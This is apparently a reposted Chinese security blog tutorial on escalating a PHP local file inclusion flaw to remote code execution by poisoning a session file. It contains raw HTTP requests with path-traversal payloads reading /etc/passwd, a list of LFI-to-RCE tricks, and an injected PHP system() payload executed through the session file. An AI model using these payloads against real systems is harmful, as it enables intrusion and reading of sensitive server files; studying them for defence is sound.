通过PHP Session将LFI转化为RCE

暗月博客 2019年11月21日23:01:33评论716 views字数 3414阅读11分22秒阅读模式
摘要

个简单的文件包含:

1 2 3 4 5 6

个简单的文件包含:

1

2

3

4

5

6

7

8

9

10

11

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=admin&lang=en_us.php

有的登录页面,会有个参数来指定语言,比如以上的lang参数。

1

2

3

4

5

6

7

8

9

10

11

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 75

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=admin&lang=../../../../../../../../../../etc/passwd

通过不断的尝试遍历跳目录,成功包含/etc/passwd,在返回包可以看到内容。

从LFI升级到RCE的一些常见方法

一般找到了本地文件包含之后,可以尝试转换一波远程命令执行。

可能有以下技巧:

  1. 使用文件上传表单/函数

  2. expect://cmd

  3. php://file

  4. php://filter

  5. input://stream

  6. data://text/plain;base64,command

  7. /proc/self/environ

  8. /proc/self/fd

  9. 一些可控的日志文件,如:

  1. /var/log/apache/access.log

  2. /var/log/apache/error.log

  3. /var/log/vsftpd.log

  4. /var/log/sshd.log

  5. /var/log/mail

也可能会失败。

通过控制PHP Session实现RCE

这个程序当输入错误的账号密码比如admin登录失败之后

返回了几个Set-Cookie,请求中包含php session的值可能存储在服务器端。

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/

Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Set-Cookie: pass=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP5存储session文件,默认位置是/var/lib/php5/sess_[PHPSESSID]

所以以上session应该存储在

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

所以先包含会话文件试一波

1

2

3

4

5

6

7

8

9

10

11

12

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27

Content-Length: 107

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=admin&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

返回

user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

很明显,我们在user参数处输入php代码。

1

2

3

4

5

6

7

8

9

10

11

12

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27

Content-Length: 134

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

结果,内容写入了set-cookie,也写入了session文件

Set-Cookie:user=%3C%3Fphp+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E;expires=Mon, 13-Aug-2018 20:40:53 GMT; path=/; httponly

session文件再用LFI可读取。注意,需要从请求中删除cookie,否则会被覆盖,导致读取失败。

1

2

3

4

5

6

7

8

9

10

11

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 141

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

导致命令执行。

通过PHP Session将LFI转化为RCE

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日23:01:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过PHP Session将LFI转化为RCEhttp://cn-sec.com/archives/74017.html

发表评论

匿名网友 填写信息